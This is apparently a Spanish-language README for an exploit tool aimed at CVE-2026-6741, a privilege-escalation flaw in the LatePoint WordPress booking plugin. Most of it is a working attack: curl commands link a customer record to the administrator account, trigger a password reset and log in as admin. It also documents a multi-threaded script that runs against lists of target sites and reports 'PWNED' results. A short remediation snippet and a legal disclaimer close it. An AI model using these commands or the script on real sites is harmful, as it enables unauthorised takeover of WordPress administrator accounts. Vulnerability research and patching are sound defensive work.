
CVE-2026-6741 es una vulnerabilidad de Escalada de Privilegios Autenticada (Agente+) con CVSS 8.8 (Alta) en el LatePoint – Calendar Booking Plugin.
CVE-2026-6741 es una vulnerabilidad de escalada de privilegios (autenticada, Agent+) con puntuación CVSS 8.8 (Alta) en el plugin LatePoint – Calendar Booking Plugin.
Plugin: LatePoint – Calendar Booking Plugin for Appointments and Events (
latepoint) ID CVE: CVE-2026-6741 Puntuación CVSS: 8.8 (Alta) Vector CVSS:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTipo de vulnerabilidad: Escalada de privilegios autenticada (Agent+) → Toma de control de administrador Versiones afectadas: <= 5.4.1 Versión parcheada: 5.4.2 Fecha de publicación: 27 de abril de 2026 Investigadores: skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence
Un atacante autenticado con el rol latepoint_agent puede conectar cualquier registro de cliente de LatePoint a una cuenta de administrador de WordPress y luego, utilizando el propio flujo de restablecimiento de contraseña de LatePoint, cambiar la contraseña del administrador.
Esto resulta en una toma de control completa del sitio.
LatePoint 5.3.0 añadió soporte para la API de Habilidades (Abilities API) que viene con WordPress 6.9+. Esta API permite a los plugins registrar clases de "habilidad" que pueden ser invocadas a través de la API REST:
// latepoint.php (5.4.1, línea 907)
if ( function_exists( 'wp_register_ability' ) ) {
include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}
// lib/abilities/customers/connect-customer-to-wp-user.php — línea 12
protected function configure(): void {
$this->id = 'latepoint/connect-customer-to-wp-user';
$this->label = __( 'Connect customer to WP user', 'latepoint' );
$this->permission = 'customer__edit'; // ← único control: esta capacidad
}
El rol Agent tiene por defecto la capacidad customer__edit:
// lib/helpers/roles_helper.php — línea 401
public static function get_default_capabilities_list_for_agent_role() {
$capabilities = [
...
'customer__edit', // ← el agente tiene esta capacidad
...
];
}
// connect-customer-to-wp-user.php — líneas 39–60
public function execute( array $args ) {
$customer = new OsCustomerModel( (int) $args['customer_id'] );
$wp_user_id = (int) $args['wp_user_id'];
if ( ! get_userdata( $wp_user_id ) ) {
// Solo se verifica si el usuario existe
// FALTA: no se verifica el rol del usuario objetivo
return new WP_Error( 'wp_user_not_found', ... );
}
$customer->wordpress_user_id = $wp_user_id; // ← conecta con cualquier usuario WP
$customer->save();
return $this->serialize_customer( ... );
}
// lib/models/customer_model.php — línea 315
public function update_password( $password ) {
if ( OsAuthHelper::can_wp_users_login_as_customers()
&& $this->wordpress_user_id ) {
wp_set_password( $password, $this->wordpress_user_id );
// ↑ ahora wordpress_user_id es el ID del admin → la contraseña del admin cambia
}
}
// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
return OsRolesHelper::can_user( $this->permission );
// Solo verifica la capacidad del que INVOCA
// NO verifica el rol del usuario OBJETIVO
}
Cuenta latepoint_agent
│
▼
1. Iniciar sesión en WP como Agent → obtener nonce REST
│
▼
2. Identificar el ID del usuario admin objetivo
(wp-json/wp/v2/users o ID=1)
│
▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
{ "customer_id": 5, "wp_user_id": 1 }
→ Sin control de rol → Éxito
│
▼
4. LatePoint forgot_password → enviar token de restablecimiento al correo del cliente
│
▼
5. Con el token, change_password → se llama a update_password()
→ wp_set_password("Hacked!", 1)
→ Contraseña del admin cambiada
│
▼
6. Iniciar sesión como admin con la nueva contraseña → Control total del sitio ✓
⚠️ Aviso: Esta PoC se proporciona únicamente con fines educativos y de investigación defensiva en seguridad.
Requisitos previos:
latepoint_agentWP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"
# Inicio de sesión basado en cookies
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
-d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# Obtener nonce REST
NONCE=$(curl -s -b cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"
# Listar usuarios administradores mediante la API REST
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
-H "X-WP-Nonce: $NONCE" | python3 -m json.tool
ADMIN_WP_USER_ID=1 # Generalmente ID=1
CUSTOMER_ID=5 # ID del cliente de LatePoint que controlas
curl -s -b cookies.txt -X POST \
"$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
-H "Content-Type: application/json" \
-H "X-WP-Nonce: $NONCE" \
-d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"
Respuesta esperada:
{
"id": 5,
"wp_user_id": 1,
"email": "[email protected]"
}
CUSTOMER_EMAIL="[email protected]"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_email=$CUSTOMER_EMAIL"
LatePoint envía un correo a $CUSTOMER_EMAIL con un token account_nonce para restablecer la contraseña.
RESET_TOKEN="<token_obtenido_del_correo>"
NEW_PASSWORD="Attacker_Password123!"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"
Esta llamada desencadena la cadena update_password() → wp_set_password($NEW_PASSWORD, 1). Se ha cambiado la contraseña del admin.
curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
"$WP_URL/wp-login.php" \
-d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# Acceso a wp-admin
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# Esperado: 200 OK (no redirección a wp-login.php)
# Verificación de rol mediante la API REST
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
curl -s "$WP_URL/wp-json/wp/v2/users/me" \
-H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# Esperado: "roles": ["administrator"]
git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt
requirements.txt
requests
python latepoint_privesc.py -u http://objetivo.com \
--agent-user agent1 --agent-pass Pass123!
python latepoint_privesc.py -u http://objetivo.com \
--agent-user agent1 --agent-pass Pass123! \
--admin-id 1 \
--customer-id 5 \
--customer-email [email protected]
python latepoint_privesc.py -u http://objetivo.com \
--agent-user agent1 --agent-pass Pass123! \
--admin-id 1 \
--customer-id 5 \
--customer-email [email protected] \
--reset-token abc123xyz \
--new-password Hacked_2026!
python latepoint_privesc.py -l objetivos.txt -t 10 \
--agent-user agent1 --agent-pass Pass123! \
-o resultados.txt
python latepoint_privesc.py -u http://objetivo.com \
--agent-user agent1 --agent-pass Pass123! \
--proxy http://127.0.0.1:8080
| Parámetro | Descripción |
|---|---|
--agent-user | Nombre de usuario del Agent (obligatorio) |
--agent-pass | Contraseña del Agent (obligatorio) |
| Parámetro | Descripción | Por defecto |
|---|---|---|
| Parámetro | Descripción | Por defecto |
|---|---|---|
--reset-token | Token de restablecimiento obtenido del correo | — |
--new-password | Nueva contraseña del admin | Pwned_CVE2026_6741! |
[*] Objetivo : http://objetivo.com
[*] Agent : agent1
[*] Admin ID : detección automática
[*] Customer ID : detección automática
[*] Reset Token : esperando correo
[*] Nueva contraseña : Pwned_CVE2026_6741!
[→] http://objetivo.com Paso 1/6: Inicio de sesión del Agent...
[→] http://objetivo.com Paso 2/6: Identificación del ID del admin...
[→] http://objetivo.com Paso 3/6: Identificación del ID del cliente...
[→] http://objetivo.com Paso 4/6: Conectando Cliente #5 → Admin #1...
[→] http://objetivo.com Paso 5/6: Iniciando restablecimiento de contraseña...
[→] http://objetivo.com Paso 6/6: Cambiando contraseña (token manual)...
════════════════════════════════════════════════════════════
[★ PWNED ] http://objetivo.com
Versión : 5.4.1
Admin ID : 1
Cliente : #5 <[email protected]>
Usuario : admin roles=['administrator']
════════════════════════════════════════════════════════════
[+] Guardado en → privesc_results.txt
┌─────────────────────────────────────────────────────────┐
│ FASE 1 — Enlazar + Enviar correo de restablecimiento │
│ │
│ python latepoint_privesc.py -u http://objetivo.com \ │
│ --agent-user agent1 --agent-pass Pass123! \ │
│ --customer-id 5 --customer-email [email protected] │
│ │
│ → Salida: "Correo de restablecimiento enviado — esperando token" │
└─────────────────────────┬───────────────────────────────┘
│
Obtener token del correo
│
┌─────────────────────────▼───────────────────────────────┐
│ FASE 2 — Cambiar contraseña con el token │
│ │
│ python latepoint_privesc.py -u http://objetivo.com \ │
│ --agent-user agent1 --agent-pass Pass123! \ │
│ --customer-id 5 --customer-email [email protected] \ │
│ --reset-token abc123xyz \ │
│ --new-password Hacked_2026! │
│ │
│ → Salida: ★ PWNED — roles=['administrator'] │
└─────────────────────────────────────────────────────────┘
Ejemplo de execute() seguro:
// Inseguro (actual — 5.4.1)
if ( ! get_userdata( $wp_user_id ) ) {
return new WP_Error( 'wp_user_not_found', ... );
}
// Seguro (recomendado — 5.4.2+)
$target_user = get_userdata( $wp_user_id );
if ( ! $target_user ) {
return new WP_Error( 'wp_user_not_found', ... );
}
// Verificar el rol del usuario objetivo
if ( in_array( 'administrator', (array) $target_user->roles ) ) {
return new WP_Error( 'forbidden', 'Cannot link customer to administrator.' );
}
cve-2026-6741-scanner/
├── latepoint_privesc.py # Escáner principal
├── requirements.txt # Dependencias
└── README.md # Este archivo
Esta herramienta y PoC están diseñadas exclusivamente para su uso en sistemas autorizados, con fines educativos y dentro del alcance de pruebas de penetración. El uso en sistemas no autorizados constituye un delito según el Código Penal Turco, artículos 243-245 y las leyes internacionales de ciberdelincuencia. El desarrollador no asume ninguna responsabilidad legal derivada del mal uso de esta herramienta.
Licencia MIT — Solo con fines educativos y de investigación.
| Campo | Valor |
|---|
| Nombre del plugin | LatePoint – Calendar Booking Plugin |
| Slug del plugin | latepoint |
| ID CVE | CVE-2026-6741 |
| Puntuación CVSS | 8.8 (Alta) |
| Tipo de vulnerabilidad | Escalada de privilegios autenticada (Agent+) |
| Versión afectada | <= 5.4.1 |
| Versión parcheada | 5.4.2 |
| Requisito | Rol latepoint_agent, WordPress 6.9+ |
| Parámetro | Corto | Descripción | Por defecto |
|---|
--url | -u | URL del objetivo único | — |
--list | -l | Archivo con lista de objetivos | — |
--threads | -t | Número de hilos | 5 |
--output | -o | Archivo de salida | privesc_results.txt |
--proxy | — | URL del proxy | — |
--timeout | — | Tiempo de espera de solicitud (seg) | 10 |
--force | — | Continuar incluso si la detección de Abilities API falla | False |
--admin-id| ID del usuario admin objetivo en WP |
| detección automática |
--customer-id | ID del cliente de LatePoint bajo control | detección automática |
--customer-email | Dirección de correo del cliente de LatePoint | correo del Agent |
| Estado | Descripción |
|---|
★ PWNED | Contraseña del admin cambiada, sesión iniciada |
~ RESET_SENT | Correo de restablecimiento enviado — esperando token |
~ PWD_CHANGE | Contraseña cambiada — verificar inicio de sesión admin manualmente |
- LINK_FAIL | Fallo al enlazar Cliente-Admin |
- LOGIN_FAIL | Fallo al iniciar sesión del Agent |
- NO_PLUGIN | LatePoint no está instalado |
- NO_ABILITY | Abilities API desactivada (requiere WP 6.9+) |
~ NO_CUST | No se encontró ID de cliente — especificar manualmente |
~ UNREACH | No se puede alcanzar el objetivo |
| Medida | Implementación |
|---|
| Actualización del plugin | Actualizar a LatePoint 5.4.2+ |
| Añadir control de rol | Validar el rol del usuario objetivo dentro de execute() |
| Restringir Abilities API | Eliminar la capacidad connect-customer-to-wp-user del rol Agent |
| Protección de restablecimiento de contraseña | Deshabilitar el flujo de restablecimiento de LatePoint para cuentas admin |
| Auditoría de Abilities en WP 6.9 | Revisar periódicamente las habilidades registradas |